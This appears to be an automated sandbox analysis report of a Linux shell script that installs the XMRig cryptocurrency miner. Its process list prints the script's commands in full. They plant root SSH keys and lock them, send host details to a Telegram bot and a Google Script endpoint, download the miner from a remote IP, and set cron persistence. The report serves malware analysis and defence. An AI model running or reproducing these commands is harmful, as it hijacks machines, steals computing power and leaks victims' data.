Overview

overview

10

Static

static

1

payload.sh

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    659s
  • max time network
    899s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20260126-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20260126-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    09/05/2026, 17:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    payload.sh
  • Size 3KB
  • Sample260509-vrld4aes4m
  • SHA256 cf42d2c3443e387451e95a244bacd0cb09fed41a8bd8855bc3e0d1ec16622af0
  • MD5 SHA1 SHA512 TLSH
Score
10/10
antivmdefense_evasiondiscoveryexecutionxmrigminerpersistenceprivilege_escalation

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Adds new SSH keys 1 TTPs 1 IoCs

    Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

    persistenceprivilege_escalation
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Attempts to change immutable files 2 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 47 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 28 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

  • cURL User-Agent 3 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • /tmp/payload.sh
    /tmp/payload.sh
    1⤵
    • Adds new SSH keys
    PID:2041
    • /usr/bin/mkdir
      mkdir -p /root/.ssh
      2⤵
        PID:2042
      • /usr/bin/chmod
        chmod 700 /root/.ssh
        2⤵
          PID:2044
        • /usr/bin/chattr
          chattr -i /root/.ssh/authorized_keys
          2⤵
          • Attempts to change immutable files
          PID:2045
        • /usr/bin/chmod
          chmod 600 /root/.ssh/authorized_keys
          2⤵
            PID:2046
          • /usr/bin/chattr
            chattr +i /root/.ssh/authorized_keys
            2⤵
            • Attempts to change immutable files
            PID:2047
          • /usr/bin/curl
            curl -s https://api.ipify.org
            2⤵
            • System Network Configuration Discovery
            PID:2049
          • /usr/bin/hostname
            hostname
            2⤵
              PID:2060
            • /usr/bin/uname
              uname -m
              2⤵
                PID:2061
              • /usr/bin/nproc
                nproc
                2⤵
                  PID:2062
                • /usr/bin/awk
                  awk "/Mem:/{print \$2}"
                  2⤵
                    PID:2065
                  • /usr/bin/free
                    free -h
                    2⤵
                      PID:2064
                    • /usr/bin/curl
                      curl -s -X POST https://api.telegram.org/bot8798753964:AAGwS79VVSH4VZNzWtNNEtuTWYhf9tRpB_s/sendMessage -d "chat_id=6106929302&text=🏴‍☠️ *Vortex Apex Hit!*%0A*IP:* `66.56.80.220`%0A*Arch:* `x86_64`%0A*Cores:* `1`%0A*RAM:* `1.9Gi`&parse_mode=Markdown"
                      2⤵
                        PID:2066
                      • /usr/bin/hostname
                        hostname
                        2⤵
                          PID:2068
                        • /usr/bin/curl
                          curl -L -H "Content-Type: application/json" -X POST -d "{\"id\":\"Vortex_66.56.80.220_ubuntu2404-amd64-20260126-en-3\",\"ip\":\"66.56.80.220\",\"hostname\":\"ubuntu2404-amd64-20260126-en-3\",\"os\":\"Linux\",\"arch\":\"x86_64\",\"cores\":\"1\",\"ram\":\"1.9Gi\"}" https://script.google.com/macros/s/AKfycbzerXY7bhMQhVX5ectM6V_2kXQkD489E67LsmCyhlY5pB6GlXKtiyY4DqFvvK0-wm23/exec
                          2⤵
                            PID:2069
                          • /usr/bin/pkill
                            pkill -9 -f "xmrig|kinsing|kdevtmpfsi|.sys_d"
                            2⤵
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:2072
                          • /usr/bin/curl
                            curl -sL http://103.214.69.210:80/xmrig_x64 -o /tmp/.sys_d
                            2⤵
                            • Writes file to tmp directory
                            PID:2073
                          • /usr/bin/chmod
                            chmod +x /tmp/.sys_d
                            2⤵
                            • File and Directory Permissions Modification
                            PID:2100
                          • /usr/bin/curl
                            curl -s "http://103.214.69.210:8448/verify?ip=66.56.80.220"
                            2⤵
                            • System Network Configuration Discovery
                            PID:2102
                          • /usr/bin/nohup
                            nohup /tmp/.sys_d -o pool.hashvault.pro:443 -u 47516PMKyH5PE5PN9McCwFJYbtC3rdBpDLpHwSKMcRre5Zq6o6XqExe7uc6PuofTSU2xTcoECwNovMZWLB4NDtmWBoesFkR -p Vortex_66.56.80.220_ubuntu2404-amd64-20260126-en-3 "--cpu-max-threads-hint=50" "--donate-level=1" --tls --background
                            2⤵
                            • Executes dropped EXE
                            PID:2101
                          • /tmp/.sys_d
                            /tmp/.sys_d -o pool.hashvault.pro:443 -u 47516PMKyH5PE5PN9McCwFJYbtC3rdBpDLpHwSKMcRre5Zq6o6XqExe7uc6PuofTSU2xTcoECwNovMZWLB4NDtmWBoesFkR -p Vortex_66.56.80.220_ubuntu2404-amd64-20260126-en-3 "--cpu-max-threads-hint=50" "--donate-level=1" --tls --background
                            2⤵
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Changes its process name
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            PID:2101
                          • /usr/bin/grep
                            grep -v payload.sh
                            2⤵
                              PID:2112
                            • /usr/bin/crontab
                              crontab -l
                              2⤵
                                PID:2111
                              • /usr/bin/crontab
                                crontab -
                                2⤵
                                • Creates/modifies Cron job
                                PID:2110
                              • /usr/bin/rm
                                rm -f /tmp/payload.sh
                                2⤵
                                  PID:2113

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    .sys_d
                                    • Path /tmp/.sys_d
                                    • Size 9.4MB
                                    • SHA256 031b92a39c0fbe9e8c7737c8e6e8568e4b64b931f9a0dcf42ecd7109818d5785
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    tmp.GS0JDa
                                    • Path /var/spool/cron/crontabs/tmp.GS0JDa
                                    • Size 240B
                                    • SHA256 3427f41c6f2a481d3412e6bdbdf216ad0f00e1c0767515e9acfb198cf389b527
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download